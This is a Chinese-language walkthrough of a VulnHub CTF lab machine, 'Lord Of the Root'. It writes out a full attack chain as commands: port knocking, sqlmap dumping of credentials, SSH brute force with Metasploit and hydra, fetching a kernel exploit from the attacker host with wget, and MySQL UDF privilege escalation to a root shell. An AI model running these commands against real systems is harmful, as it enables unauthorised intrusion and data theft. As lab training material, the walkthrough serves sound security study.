前言
Description:我创建这台机器是为了帮助其他人学习一些基本的CTF黑客策略和一些工具。我瞄准了这台机器,使其在难度上与我在OSCP上破解的机器非常相似。
这是一个引导到根计算机将不需要任何来宾交互。
有两种设计的权限提升方法。
靶机环境
kali 192.168.31.153
Lord Of the root 192.168.31.161
靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
实战
信息收集
首先对靶机存活探测,端口碰撞,web页面枚举
端口碰撞:
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制
nmap探测
使用nmap探测存活主机和对主机进行详细扫描
nmap 192.168.31.0/24 //探测存活主机
nmap 192.168.31.161 -sV -p- -O -A //扫描版本信息,全端口,操作系统,详细信息
仅仅发现了一个ssh的22端口,尝试使用ssh远程登录
ssh [email protected]
发现了一个提示,Easy as 1,2,3,是一个端口碰撞,碰撞序列为1,2,3(端口碰撞要求知道碰撞序列)
端口碰撞
在这里使用kali的knockd工具,进行端口碰撞,如果没有安装konckd按照以下命令执行(如果没有更新包可以更换更新apt源进行下载安装)
apt install knockd apt安装knockd
man knock //查看可用参数
knock 192.168.31.161 1 2 3 -v //开始端口碰撞,-v输出状态信息
看到以上页面说明碰撞成功,再次使用nmap查看开启的端口信息
web页面枚举
查看到http端口1337,在kali的浏览器访问http://192.168.31.161:1337
使用目录扫描工具dirsearch枚举页面信息
python3 dirsearch.py -u http://192.168.31.161:1337/ -e*
拿到了两个web页面,一个是404.html 还有一个是/images/和初始访问页面,分别访问并查看页面源码
/images/页面及其页面源码如下:
初始访问页面源码:
发现以上源码除了图片就是图片,只能把宝压在404页面
404.html页面及其源码:
发现了一串base64编码,使用burp的decoder模块反base64编码,
发现又是一层base64编码,继续编码一次
得到了一个文件路径,浏览器访问http://192.168.31.161/978345210/index.php
发现是一个登录页面,使用弱口令尝试并没有成功,一般登录界面除了弱口令,还有就是SQL注入,我们把枪口转到SQL注入
渗透
对页面进行简单的闭合,发现并没有任何回显后,转而使用sqlmap简单扫一下,查看是否有注入点
SQL注入--sqlmap--时间盲注
爆库
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -dbs --batch
--forms //post注入参数
--dbs //爆出当前系统所有数据库
--batch //自动选择选项扫描
-u //后面跟url链接
发现使用了时间盲注,并且爆出了当前数据库是Webapp
爆表
接下来使用获取到的Webapp库爆表
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp --tables --batch --technique T
--technique T //使用的是时间盲注技术
-D Webapp //使用数据库Webapp进行注入
--tables //爆出所有表
得到一个Users表
爆字段
再使用Users表爆字段
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users --columns --batch --technique T
--columns //爆出所有字段
爆数据
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users -C id,password,username --dump --batch --technique T
暴力破解拿shell
拿到用户和密码,可以尝试去web界面登录,我这里登录后发现没有什么线索,直接跳过来到爆破ssh,爆破ssh可以使用以下两种方法,msf的auxiliary/scanner/ssh/ssh_login和hydra爆破
将用户和密码分别存储在Users.txt和Password.txt
MSF爆破拿shell
msfconsole
search ssh_login
use 0或者use auxiliary/scanner/ssh/ssh_login
show options
set rhost 192.168.31.161
set user_file Users.txt
set pass_file Password.txt
exploit
从结果可知用户和密码分别是smeagol/MyPreciousR00t
hydra爆破
hydra -L Users.txt -P Password.txt 192.168.31.161 -s 22 ssh
同样也是拿到一样的用户和密码,两种方法二选一即可
后渗透
获取到ssh的用户密码,登录后台拿shell
ssh [email protected]
MyPreciousR00t
提权
查看内核版本
cat /proc/version
发现是linux 3.19.0 ubuntu 14.04
内核提权
在浏览器查看到14.04有内核提权漏洞
使用searchsploit查看kali自带归档的提权脚本
searchsploit linux ubuntu 14.04 Privilege Escalation
//有跟着Privilege Escalation字样都是可用于提权的脚本
本次使用的脚本是39166.c,复制出来,查看用法
find / -name 39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/39166.c
cat 39166.c
脚本中是直接使用exp进行提权,说明我们要将c脚本用gcc进行编译再执行
在此之前,先查看靶机后台可写入有哪些文件夹
find / -writable 2>/dev/null
以下只截一部分
可以看到/tmp或者/var/tmp的临时文件夹都能写入,在kali使用python开启http服务,将提权脚本传至/tmp或者/var/tmp文件夹
kali:
python3 -m http.server 8989
靶机:
cd /tmp //进入tmp文件夹
wget http://192.168.31.153:8989/39166.c //下载39166.c
ls //查看
gcc 39166.c -o overlays //编译39166.c为overlays
chmod +x overlays //赋予执行权限
./overlays //执行获取root
id //查看权限
cd /root //进入root目录
cat Flag.txt //查看flag
到此提权成功,以下是其他几种方法
Mysql UDF sys_exec sys_eval提权
这是第二种方法,mysql的udf提权
udf提权的条件:
root 权限运行mysql
在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数
使用udf在系统将find命令写入权限
首先查看mysql版本和是否运行
dpkg -l | grep mysql
mysql版本是5.5,其次就是查找登录mysql的用户密码,一般都在搭建的web页面下,去/var/www/978345210下查看,发现mysql相关配置信息在login.php能看到用户和密码,root/darkshadow
利用mysql用户密码登录,并查看是否能够提权
mysql -u root -pdarkshadow
show databases;
use mysql;
show global variables like 'secure%'; //查看secure_file_priv是否为空
发现secure_file_priv为空,可写入文件路径权限
接下来就利用kali自带的udf创建函数用于写入权限,本次使用lib_mysqludf_sys_32.so
locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型
从前面已经知道/tmp和/var/tmp有写入权限,就将udf.so下载到/tmp或者/var/tmp路径下
cd /tmp
wget http://192.168.31.153:8989/udf.so
重新进入mysql开始创建函数
use mysql; //使用mysql数据库
create table udf(line blob); //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so'; //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
quit
注:下图作为参考,权限我已经写入,仅仅展示命令成功的界面
find / -exec '/bin/sh' \;
whoami
cd /root
cat Flag.txt
总结
1.信息收集:(1)nmap挖掘信息 (2)端口碰撞 (3)web页面信息枚举
2.渗透: (1)SQL注入--sqlmap(爆库,爆表,爆字段,爆数据) (2)暴力破解获取webshell
3.后渗透: (1)提权(内核提权,Mysql udf sys_eval sys_exec提权)(2)缓冲区溢出(文件化随机绕过,绕过ASLR,pwndbg分析,forr循环Nop,环字符查询,shellcode编写,bash编写脚本,小技巧objdump、vmmap、checksec、Jmp)